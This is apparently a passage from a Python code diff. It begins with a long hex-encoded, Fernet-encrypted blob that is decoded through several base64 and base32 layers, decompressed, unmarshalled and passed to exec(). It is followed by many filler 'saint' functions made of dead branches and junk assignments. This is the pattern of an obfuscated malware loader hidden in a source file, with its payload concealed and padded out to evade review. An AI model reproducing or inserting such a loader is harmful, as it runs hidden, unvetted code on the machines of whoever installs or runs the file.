56b30794563587a654e427876616c796e6f4f4e6c77492d6e457745645563485f56744d66453058317475366a483545796a783756645f73705045654c54642d644c4c37506b59344155426e4734507143597132446d75426563763241467437345564636f4a50436e674444707a53303449574341674161644b373335526b4c7a6536636d375358687852546d436a4166646b2d6133683246643531577250544d6c76435f6a676d72444d4b6e3646486e4265594d4b7571377473572d5a395f5266774a644d696d6e7a735a78715852616a5663775a724c753539346247794f394a57766b7536773857397333706a4145413172726a4f576275707253377a6f4139534a38777a6d5f30683544523548644d673561464d55334d5a595f674e466c485a77514a4b57476e6e41436d574e364a646b2d324f5463484b4c7654415076327465724f583534504a7077617037376f57327570754e3979646c6456475535765171755937426a74434a454970726c30326c68623144676257476e3570506c4f6a6f646c79416e58466c4b6b35636f39417468515444457238474c43735a6f677551415f755062666e596b3666454e7a424b5271744a70396b57704554494e44647372794d3238327933636c524e64645941537145754a75477375626a4e655838786e5839745950424c57756d4a5049667241616f6c3830354945513075656e726565394651585a5148377a6c3173656663415a6c72494564744d464d5665506a7161794d796c6c746a5971383958735847785a6e75436a5248527a455035705142794174324975746d5638553358563149567662336950613035685267564e38357a5f546f31676b30634662324b6155334849674b51755f614a45567170586548464d35743662346363364d47724948636e6d4f4a535a3250566861462d5f776d4761483277364368716c4769447048555f754e7a4b57347862344d4835676a327642736f68635977494c30463931614169796d784162513366555679586a333468524f6239426371343971314f4b71734d2d47644d364c5944386d53753346614b68763534386f614733334e76665570336e43705671516b7064326949555642372d306b62526d6c374e2d385251664f694a656c69747876366834786c793572793843316b71565732366f3975614f70556a7842745a43574831333468422d534a59314f4a316a313669574b5248586e4f7a786676702d506878446e684b575253545674713463636c374b6b51636f3351544b30436d767930337974764d6976465551436b3159376673704e616249344d732d715f6c71754641364e6a674961526d516c636970625a487961494958363651686f4747566f764e6a6665456a7638486939456544444c7834657063456a65766443366a523973423347346f68475f654a59564339646b575352357937717838785f496e4b33752d6b484d4234314c6e65564c53586e6f595f304a59355a384c396f2d57464554617957576a62504565765443485f5950705236554171344a323642306b6f726c595543556672644b5f51743931437275546d6d55333670743737486e64386241384848536b336f68474d584a395636797a75534871786155597764324c316e6b746c674b754a784d4d696b74595a72756e6b4c75776d6a6c734632754b7a45336d6b6d524275544f335a4872354e46533735784b567538464a6a4e76336b7335305671584b35357653697461417262696e457636644d74385739323376394e48784f754b6351324c67675549326247425056747630564865623342433362695656376a6a57685839446a316143473832756756587130314979632d666650522d5f704636384e51445f6779686442534a4877536852622d4474624f6654755f4a326a7550573741746d4a754445785f3073425276655437725a7a6276625f52555f69475f6d5932352d4539386e5158424b7133597a5f413278746e736777653971464b726a61346d517a4b6745616d42567a447557756550594d41764273456e7a5668534c575a366e6f465350566a365f6d51464d722d76326865326a3543786b6a68496848713545556a587672476a6f65486c2d2d3339616448412d78616c3038555a356f316767686d4f644235647774594a6a355f6e716c347441365973396b363479444433364f72616f35474255675754792d6f48486c7157386774492d434b545a523179363452333868376143346e4c6c6675376f4649346e7a4a3947307066447a784657576d4c64514e58677954434a44367365465a326f69514d4e7646586a6251724a435a6e75747436376b4e677175656762416861455951776a50304239306d722d62517838756a44344d717857436d485a3970445f312d76414c3175716e6c5742435543696f56722d65464a43732d697049534c6671734d35326e726756507446373852367434485431494956334d536f7a58647a4b49307742655f6b45434b2d467258326c524779633358546f7a5535677644373459446c76544539664558623167595030794e4462413957686f69724e45744d35734f4b50387943726e53586a4a77506c454b42306f433564545f5742645772422d4c7546357634786e366e717365726b30645066576175735643784c3631614151674b2d5559375258685474474d426858617a324334734e3134656276663055544732534b6e6a685f45394b6f733447657043716f49544e5a7a5371735a65736e4f4d4a4f4b4e73373062785872763968382d77613777454645743773434f58534e67352d676a6c337747593052444d33302d426335354e4d6271383775564b546743594b677031585f6f72324533467472446d4f533959686b4b4c5a6d386c697362435a7574464971586a39792d503571766e306370576972356c3941506c6a4a5f775f47524b5f496a6565674e5546346c57395162706244776f4f4a486c617546664a6b3843465052726a544e6d455244555864596d65686577344e65336f7570336e3373764448637a2d675a5a5f4b4e6d536438724c633931784f5763414736674f505f473730565042327333546e4e57426b356f3553616a7a50436a4a55616932494a634663354e6c4e3241347963614b366e5465785042616d61794b6231774875574454566a736543505f4b4a4a537a78544847365f6658336b654d535234763038777979625a68307642672d79626576645444344c4244325a6c525034497a557959326a45465361515766664778705638446968744f574236316e64416e5056385262373266586f6164634b4267387936556775484879416975454f35344d4a367459523439717150446c6e424d597a5235644b416a66735a646b4447485f6a7556496d49445f457a5a6f786558584435546174316f4a586153432d5575377374622d4b51466a7159654932304c4251464f6e32514c7931615f6a7161486d71303d";__vare__ = lambda x: ____.loads(__________.decompress(______.b32decode(______.b64decode(x[::-1]))));__mycip__= Fernet(base64.b64decode(__mikey__));__step1__=bytes.fromhex(mydata);__step2__=__mycip__.decrypt(__step1__);__decr__=base64.b64decode(__step2__);__decrdata__=__decr__;__gotnew__=base64.b32decode(__decr__);__newdecr__=112346295235;__getnew__=__newdecr__;__myb64code__=base64.b64decode(__gotnew__);__myb64codee__=base64.b64decode(__myb64code__);___ = __myb64codee__;exec(__vare__(___))
324
+
325
+ def saint1445693():
326
+ if 8549982 == 8862437:
327
+
328
+ print(9814765)
329
+ aaa5327668 = 5078978
330
+
331
+ print(8257159)
332
+ bbb3986758 = 9769970
333
+
334
+ aa4190564 = 9797200
335
+
336
+ z6264886 = 6544703
337
+ zz1018840 = 6383898
338
+
339
+ c7131125 = 7226220
340
+ cc3613274 = 5942523
341
+
342
+ elif 4073611 == 8300667:
343
+
344
+ print(5803592)
345
+
346
+ aaa8573916 = 6413346
347
+ print(4965803)
348
+
349
+ bbb8461051 = 8674029
350
+ aa7270231 = 5529581
351
+ x5724218 = 3297054
352
+ xx3643618 = 9329175
353
+
354
+ a4037696 = 7731057
355
+ aa9729804 = 6312614
356
+
357
+ def saint3822129():
358
+ if 8988198 == 1561374:
359
+
360
+ print(7227111)
361
+ aaa2128403 = 450055
362
+
363
+ print(5289285)
364
+ bbb3390661 = 7654127
365
+
366
+ aa2080592 = 9350113
367
+
368
+ z3604015 = 7682477
369
+ zz3842174 = 4681069
370
+
371
+ c7726748 = 9027732
372
+ cc5706000 = 2080818
373
+
374
+ elif 6865636 == 5523858:
375
+
376
+ print(5643061)
377
+
378
+ aaa9222517 = 8903648
379
+ print(8373633)
380
+
381
+ bbb694527 = 4033703
382
+ aa1090847 = 2669213
383
+ x5313354 = 1117746
384
+ xx6229426 = 8409449
385
+
386
+ a9697972 = 8712964
387
+ aa9847669 = 3046181
388
+
389
+ def saint3104029():
390
+ if 2084567 == 974207:
391
+
392
+ print(726241)
393
+ aaa3518972 = 8174176
394
+
395
+ print(3634755)
396
+ bbb7526445 = 8645280
397
+
398
+ aa241545 = 1155839
399
+
400
+ z2929774 = 1550959
401
+ zz9680256 = 5361971
402
+
403
+ c8907978 = 4649143
404
+ cc7921562 = 8055008
405
+
406
+ elif 6707346 == 113334:
407
+
408
+ print(8341386)
409
+
410
+ aaa3149938 = 9951956
411
+ print(4730588)
412
+
413
+ bbb5953226 = 9990506
414
+ aa5510082 = 8698033
415
+ x5509773 = 2286815
416
+ xx1437170 = 2955717
417
+
418
+ a4941785 = 5987871
419
+ aa1664234 = 5425870
420
+
421
+ def saint4148113():
422
+ if 3625593 == 7913456:
423
+
424
+ print(4879921)
425
+ aaa5492932 = 7011075
426
+
427
+ print(5586312)
428
+ bbb398029 = 6847517
429
+
430
+ aa9380767 = 3200536
431
+
432
+ z2443041 = 2955165
433
+ zz4028484 = 4537571
434
+
435
+ c6895010 = 826100
436
+ cc4998733 = 8604120
437
+
438
+ elif 8481135 == 9573131:
439
+
440
+ print(4943150)
441
+
442
+ aaa7442934 = 5967614
443
+ print(7632838)
444
+
445
+ bbb7448008 = 3871507
446
+ aa5027669 = 4059968
447
+ x4098134 = 2327517
448
+ xx6546967 = 5456097
449
+
450
+ a5796492 = 9490151
451
+ aa1114574 = 5656653
452
+
453
+ def saint669755():
454
+ if 2933594 == 4305513:
455
+
456
+ print(4538821)
457
+ aaa4125380 = 7677454
458
+
459
+ print(9401082)
460
+ bbb2426901 = 8874701
461
+
462
+ aa7732104 = 2221361
463
+
464
+ z7934508 = 1858798
465
+ zz3381882 = 4971002
466
+
467
+ c9938588 = 2071790
468
+ cc6343246 = 6839027
469
+
470
+ elif 8569510 == 7865497:
471
+
472
+ print(847869)
473
+
474
+ aaa9569936 = 8157645
475
+ print(1721881)
476
+
477
+ bbb567867 = 9292705
478
+ aa3714600 = 2972826
479
+ x3512943 = 7088579
480
+ xx4162941 = 6245100
481
+
482
+ a7429301 = 2594376
483
+ aa6481534 = 5734695
484
+
485
+ def saint4744752():
486
+ if 9675559 == 8020084:
487
+
488
+ print(1345175)
489
+ aaa4670772 = 3214830
490
+
491
+ print(7177437)
492
+ bbb8618046 = 9462509
493
+
494
+ aa3345728 = 5009243
495
+
496
+ z5774361 = 170011
497
+ zz1784497 = 8311805
498
+
499
+ c1283377 = 1657389
500
+ cc6868231 = 2970768
501
+
502
+ elif 366850 == 4361106:
503
+
504
+ print(4126212)
505
+
506
+ aaa763746 = 3973506
507
+ print(9891106)
508
+
509
+ bbb9954352 = 5712223
510
+ aa7380687 = 2336424
511
+ x3734338 = 1399468
512
+ xx9911117 = 1170186
513
+
514
+ a7620047 = 9229992
515
+ aa9950230 = 8066126
516
+
517
+ def saint6941430():
518
+ if 3264736 == 9856963:
519
+
520
+ print(9099790)
521
+ aaa8689195 = 1024161
522
+
523
+ print(454423)
524
+ bbb785742 = 1789503
525
+
526
+ aa3092263 = 2960130
527
+
528
+ z970178 = 7749507
529
+ zz9163776 = 6663820
530
+
531
+ c444100 = 1499959
532
+ cc7587728 = 7342597
533
+
534
+ elif 4246869 == 6703289:
535
+
536
+ print(6962701)
537
+
538
+ aaa7329423 = 8988419
539
+ print(4092715)
540
+
541
+ bbb1858056 = 9005953
542
+ aa8074241 = 6336002
543
+ x5149224 = 7011983
544
+ xx6284849 = 8922632
545
+
546
+ a3029252 = 4045228
547
+ aa5147920 = 3810847
548
+
549
+ def saint5416481():
550
+ if 6341872 == 3478507:
551
+
552
+ print(2895328)
553
+ aaa4934609 = 1530262
554
+
555
+ print(130573)
556
+ bbb7198813 = 6585367
557
+
558
+ aa6869151 = 3799499
559
+
560
+ z9405849 = 5924728
561
+ zz1109279 = 281357
562
+
563
+ c3956064 = 123609
564
+ cc6822549 = 323413
565
+
566
+ elif 4955410 == 8996732:
567
+
568
+ print(9600938)
569
+
570
+ aaa5697108 = 3917313
571
+ print(8279183)
572
+
573
+ bbb4243322 = 583446
574
+ aa3918672 = 5644510
575
+ x8480049 = 1195067
576
+ xx7922880 = 5058358
577
+
578
+ a5681501 = 3261306
579
+ aa7635076 = 7375330
580
+
581
+ def saint598248():
582
+ if 4266644 == 4218312:
583
+
584
+ print(6605775)
585
+ aaa8442987 = 4523663
586
+
587
+ print(5341634)
588
+ bbb8137461 = 1465922
589
+
590
+ aa5582774 = 846924
591
+
592
+ z4138056 = 4125852
593
+ zz4648225 = 7857810
594
+
595
+ c9672661 = 8692259
596
+ cc7842584 = 5268335
597
+
598
+ elif 1059724 == 1708716:
599
+
600
+ print(1960599)
601
+
602
+ aaa1972548 = 6076166
603
+ print(1932221)
604
+
605
+ bbb3651781 = 1562070
606
+ aa5398245 = 5334706
607
+ x4003462 = 4811650
608
+ xx2049353 = 7791710
609
+
610
+ a5048695 = 6949040
611
+ aa2016154 = 6075607
612
+
613
+ def saint500148():
614
+ if 7257516 == 6216310:
615
+
616
+ print(4859859)
617
+ aaa2325842 = 3629436
618
+
619
+ print(6908230)
620
+ bbb3689797 = 6857329
621
+
622
+ aa1558995 = 4287601
623
+
624
+ z5542991 = 2044399
625
+ zz1739887 = 2310672
626
+
627
+ c8442943 = 6904161
628
+ cc2657000 = 2856619
629
+
630
+ elif 8616696 == 6419216:
631
+
632
+ print(1228909)
633
+
634
+ aaa9781454 = 3420180
635
+ print(5659470)
636
+
637
+ bbb4610927 = 4241432
638
+ aa7671704 = 1578044
639
+ x804823 = 9017778
640
+ xx4165060 = 6721980
641
+
642
+ a6802637 = 3459408
643
+ aa2511043 = 1675842
644
+